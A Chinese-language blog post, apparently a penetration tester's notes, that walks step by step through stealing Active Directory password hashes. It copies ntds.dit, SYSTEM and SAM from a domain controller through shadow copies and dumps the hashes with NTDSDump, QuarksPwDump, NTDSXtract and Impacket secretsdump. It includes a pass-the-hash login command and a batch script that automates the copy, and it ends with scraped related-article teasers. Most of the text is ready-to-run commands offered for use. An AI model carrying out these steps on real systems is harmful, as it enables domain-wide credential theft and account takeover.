域hash值破解的总结经验
1.vsssown.vbs拷贝域数据库:
1.1上传vssown.vbs文件
上传cscript.exe和vssown.vbs到域服务器上
1.2创建快照
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters //得到ntds的默认路径:c:\ Windows\NTDS\ntds.dit cd 桌面 cscript //nologo vssown.vbs /start //启用 cscript //nologo vssown.vbs /status //查看运行状态 cscript //nologo vssown.vbs /create C //在C盘下创建副本卷影 cscript //nologo vssown.vbs /list >d:\jy.txt //查看创建的快照信息并输出到d:\jy.txt
1.3获取域据库ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\ntds\ntds.dit d: //拷贝ntds.dit到D盘,有时候ntds.dit不在默认路径,需要通过注册表查询到路径 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\system32\config\SYSTEM d: //拷贝system到D盘 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\system32\config\SAM d: //拷贝sam到D盘 cscript //nologo vssown.vbs /delete {B3475A72-86D2-48EC-A22F-6E8DBB82903D} //删除卷影
2.vshadow.exe拷贝域数据库:
vshadow.exe -exec=%ComSpec% C: //在C盘下创建副本卷影 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\system32\config\system d: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\ntds\ntds.dit d: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\system32\config\SAM d:
3.vssadmin拷贝域数据库:
vssadmin create shadow /for=c: //在C盘下创建副本卷影 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\ntds.dit d:\ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM d:\system.hive copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\system32\config\SAM d:\sam
4.NTDSDump导出域数据库hash值:
4.1 ntsdump命令帮助
ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC] -f ntds.dit路径 -k 可选的十六进制格式的SYSKEY -s 可选的system.hiv路径 -h 导出历史密码记录 -t 导出格式,LC或JOHN -o 导出到指定文件中
4.2 ntdsdump快速导出hash值
NTDSDump.exe -f ntds.dit -s SYSTEM -h -t john(或者lc) -o SecPulseHash.txt //快速导出HASH值
5.ntdsutil.exe + QuarksPwDump.exe导出hash值:
5.1quarkspwdump命令帮助
-dhl 导出本地哈希值 -dhdc导出内存中的域控哈希值 -dhd 导出域控哈希值,必须指定NTDS文件 -db 导出Bitlocker信息,必须指定NTDS文件 -nt 导出ntds文件 -hist 导出历史信息,可选项 -t 导出类型可选默认导出为John类型。 -o 导出文件到本地 QuarksPwDumpv0.2b.exe -dhl -o bk.txt //导出本地哈希值到当前目录的bk.tx quarks-pwdump.exe --dump-hash-domain --with-history //导出本机域控历史存储的hash值 quarks-pwdump.exe --dump-bitlocker --output c:\bitlocker.txt --ntds-file c:\ntds.dit
5.2创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit
5.3 Ntdsutil挂载域快照:
ntdsutil snapshot "mount{a0455f6c-40c3-4b56-80a0-80261471522c}" quit quit 快照 {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827} 已掛接為 C:\$SNAP_201212082315_VOLUMEC$\
5.4 复制快照
copy C:\$SNAP_201212082315_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
5.5 卸载快照:
ntdsutil snapshot "unmount{5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}" quit quit
5.6 删除快照
ntdsutil snapshot "delete{5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}" quit quit ntsutil.exe +PWPR(Passcape Windows Password Recovery)
5.7ntdsutil导出ntds.dit和system
#ntdsutil #snapshot
#activate instance ntds
#create
#mount {GUID}
copy c:\{挂载点}\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit (可手动复制)(新窗口复制) copy c:\{挂载点}\WINDOWS\system32\config\system c:\system
#unmount {GUID} #delete {GUID}
#quit
#quit 最后通过PWPR(Passcape Windows Password Recovery)的GPU本地在线破解hash值
5.7 域控上执行导出hash值:
QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit --output SecPulseHash.txt //建议在域控制器上执行,不然会下载下来出错 QuarksPwDump.exe -dhd -hist -nt ntds.dit -o log.txt //修复离线下载的ntds.dit
5.8 导出system文件
reg save hklm\system system.hive //导出system文件
5.9离线下载本地导出hash值
quarks-pwdump.exe --dump-hash-domain --ntds-file C:\pentest\NTDS.dit -sf C:\pentest\SYSTEM -o hashes.txt //离线导出ntds.dit的hash值
6.libesedb+ NtdsXtract导出域数据库hash值:
6.1 ubuntu上安装libesedb的先决条件:
sudo apt install autoconf automake autopoint libtool pkg-config //安装先决条件
6.2 安装libesedb:
git clone https://github.com/libyal/libesedb.git cd libesedb/ ./synclibs.sh ./autogen.sh ./configure make sudo make install //默认安装在/usr/local/bin下 ldconfig
6.3 分离ntds.dit数据库
root@kali:/usr/local/bin# esedbexport -m tables /opt/ntds.dit // 将ntds.dit和sam以及system下载到本地kali桌面中的hashdumpwork目录下,然后分离出数据表来,会在目录下生 成一个目录ntds.dit.export的文件夹
7.4安装NTDSXtract
wget https://github.com/csababarta/ntdsxtract/archive/e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip unzip e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip cd ntdsxtract-e2fc6470cf54d9151bed394ce9ad3cd25be7c262/ python setup.py install
7.5 ntds脚本导出hash值
root@kali:# python dsusers.py /usr/local/bin/ntds.dit.export/datatable. /usr/local/bin/ntds.dit.export/link_table. /root/Desktop/hashdumpwork --syshive /root/Desktop/SYSTEM --passwordhashes --lmoutfile /root/Desktop/lm-out.txt --ntoutfile /root/Desktop/nt-out.txt --pwdformat ophc(或者john)
7. Impacket's secretsdump导出域数据库hash值:
python secretsdump.py -ntds /opt/ntds.dit -system /opt/system.hive local
7.1 Impacket's secretsdump脚本域hash传递登录:
python secretsdump.py -hashes :f9bccbbbdkkkkkkddjjjkkjfjjggj bk/bk.org@192.168.1.100
8.附录
附录:批处理导出ntds.dit文件
setlocal @REM test if we are called by VSHADOW if NOT “%CALLBACK_SCRIPT%”==”” goto :IS_CALLBACK @REM @REM Get the source and destination path @REM set SOURCE_DRIVE_LETTER=%~d1 set SOURCE_RELATIVE_PATH=%~pnx1 set DESTINATION_PATH=% @REM @REM Create the shadow copy – and generate env variables into a temporary script. @REM @REM Then, while the shadow is still live @REM recursively execute the same script. @REM @echo …Determine the scripts to be executed/generated… set CALLBACK_SCRIPT=%~dpnx0 set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd @echo …Creating the shadow copy… %~dp0\vshadow.exe -script=%TEMP_GENERATED_SCRIPT% -exec=%CALLBACK_SCRIPT% %SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% @goto :EOF :IS_CALLBACK setlocal @REM @REM This generated script should set the SHADOW_DEVICE_1 env variable @REM @echo …Obtaining the shadow copy device name… call %TEMP_GENERATED_SCRIPT% @REM @REM This should copy the file to the right location @REM @echo …Copying from the shadow copy to the destination path… copy “%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%” %DESTINATION_PATH%
域hash值破解的总结经验的更多相关文章
- Hash值破解工具Hashcat使用
Hash值破解工具Hashcat使用 Hashcat介绍 HashCat系列软件拥有十分灵活的破解方式,可以满足绝大多数的破解需求. Hashcat系列软件是比较牛逼的密码破解软件,系列软件包含Has ...
- Hash值破解工具(findmyhash与hash-identifier破解Hash值)
Hash值破解工具(findmyhash与hash-identifier破解Hash值) 前言: Kali Linux提供各种哈希密文破解工具,如hashcat.john.rainbows.不论哪一种 ...
- 获取域hash并破解
ntds.dit ntds.dit是主要的AD数据库,存放在C:\Windows\NTDS\NTDS.dit,包括有关域用户,组和组成员身份的信息.它还包括域中所有用户的密码哈希值.为了进一步保护密码 ...
- HASH暴力破解工具-Hashcat
乌云网看到一篇文章讲述hashcat的使用简介(戳这里),对使用字典破解MD5内容 简单在kali上尝试了一下. (1)首先查看了下hashcat的帮助文档,简单截取了其中的部分常用说明. hashc ...
- IOS9.0中hash值的bug与解决方案
事件起因 事情是这样的:产品上线发布,突然出现了问题.运营Gg过来反应,当场给露珠演示,运营同事的手机是iphone,bug确实是存在的.奇怪的是露珠用了其他iphone手机(借别人的,露珠的是吊死安 ...
- 错误记录:html隐藏域的值存字符串时出错
问题 webform在后台给前台传值. <input type="hidden" value="<%=userType %>" id=&qu ...
- bt 介绍以及 bt 种子的hash值(特征值)计算
bt种子的hansh值计算,近期忽然对bt种子感兴趣了(原因勿问) 1. bt种子(概念) bt 是一个分布式文件分发协议,每一个文件下载者在下载的同一时候向其他下载者不断的上传已经下载的数据,这样保 ...
- JAVA-读取文件部分内容计算HASH值
对于一些大文件,有时会需要计算部分内容的Hash,下面的函数计算了 文件头尾各1M,中间跳跃100M取10K 以及文件大小的Hash值 public static String CalHash(Str ...
- Java 获取字符串Hash值
Java 生成字符串的Hash值: /** * A hashing method that changes a string (like a URL) into a hash suitable for ...
随机推荐
- 浅谈C与Java
Java的方法调用过程 Java变量:基本类型变量.指针变量 push 压入新的栈桢 在栈桢内部创建局部基本类型变量,接收参数值 在栈桢内部创建局部指针变量,接收参数值后,该指针变量指向堆上实例 po ...
- 使用AD对Linux客户端进行身份验证
https://technet.microsoft.com/zh-cn/library/2008.12.linux.aspx
- Go入门指南
第一部分:学习 Go 语言 第1章:Go 语言的起源,发展与普及 1.1 起源与发展 1.2 语言的主要特性与发展的环境和影响因素 第2章:安装与运行环境 2.1 平台与架构 2.2 Go 环境变量 ...
- 对PBFT算法的理解
PBFT论文断断续续读了几遍,每次读或多或少都会有新的理解,结合最近的项目代码,对于共识的原理有了更清晰的认识.虽然之前写过一篇整理PBFT论文的博客,但是当时只是知道了怎么做,却不理解为什么.现在整 ...
- 在Web Page中包含PHP代码
PHP代码可以出现在Web Page的任何位置,甚至在HTML的标签里面也可以.有4中方式在Web Page中包含PHP代码: 使用<?php ... ?>标签 <!doctype ...
- OO第四次作业-对前三次作业总结
第一次作业由于直接没怎么学过java,全靠一星期速成,前几天看了java的语法,但是因为光看没有打代码,学习效果并不是特别好.由面向过程转向面向对象,不是特别清楚该怎么办,虽然写的是两个类,但实际上是 ...
- 第二阶段Sprint冲刺会议10
进展:把所有功能整合到主界面,结果导致视频只能播放不能录制,闹钟加不进去,导致闹钟功能差点不能用,放弃整合.
- 文献:Technology-related Disasters:A Survey toward Disaster-resilient Software Defined Networks
DISASTER的定义和影响(本文中) 定义范围: 自然灾害,比如洪水.地震等造成一定范围类的节点故障: 恶意攻击,DDOS攻击或者电磁脉冲攻击造成节点故障: 技术相关的问题,配置错误或者误操作等: ...
- ARP 询问之 校级路由器的猫腻
前情 我为什么选定 172.17.174.73 这个 ip 来进行测试.戳前情 Scapy之ARP询问 前言 在一般家用路由器局域网下,进行 arp 广播,说:我是192.168.1.100,你们谁的 ...
- Hibernate连接数据库一直报NullPointerException
原来是少了这个.. //private HibernateTemplate hibernateTemplate; //少了下面 public HibernateTemplate getHibernat ...